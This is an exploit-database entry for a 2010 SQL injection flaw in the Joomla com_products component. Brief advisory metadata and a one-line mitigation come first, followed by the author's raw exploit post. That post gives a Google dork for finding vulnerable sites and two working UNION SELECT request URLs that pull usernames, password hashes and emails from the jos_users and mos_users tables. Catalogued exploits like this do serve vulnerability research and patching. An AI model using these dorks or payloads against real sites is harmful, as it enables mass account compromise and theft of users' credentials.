Joomla com_products 'intCategoryId' Remote Sql Injection Vulnerability

vendor:

com_products

by:

N2n-Hacker

CVSS

HIGH

SQL Injection

CWE

Product Name: com_products

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Joomla com_products ‘intCategoryId’ Remote Sql Injection Vulnerability

A remote SQL injection vulnerability exists in Joomla com_products component. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with malicious SQL statements to the vulnerable application. This can allow the attacker to gain access to sensitive information from the database.

Mitigation:

Developers should always sanitize user input and use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Title : Joomla com_products 'intCategoryId' Remote Sql Injection Vulnerability
# Date : 2010-03-11
# Author : N2n-Hacker
# Script:   [Joomla]--
# Founder:  [ N2n-Hacker --  Email:2nd@live.fr<mailto:Email%3A2nd@live.fr>  ]--

==============================================================================
\\\\\\\\\\ Joomla com_about 'intCategoryId' Remote Sql Injection Vulnerability /////////
==============================================================================

***************************************************************************
Dork = inurl:com_products "intCategoryId"
###########################################################################
 ===[ Exploit ]===

=> http://website/index.php?option=com_products&intCategoryId=-222 UnIon SelEct 1,2,group_concat(username,0x3a,password,0x3a,email),4,5,6,7,8+from+jos_users&op=category_details
or
=> http://website/index.php?option=com_products&intCategoryId=-222 UnIon SelEct 1,2,group_concat(username,0x3a,password,0x3a,email),4,5,6,7,8+from+mos_users&op=category_details

###########################################################################
                              My Bad Life
###########################################################################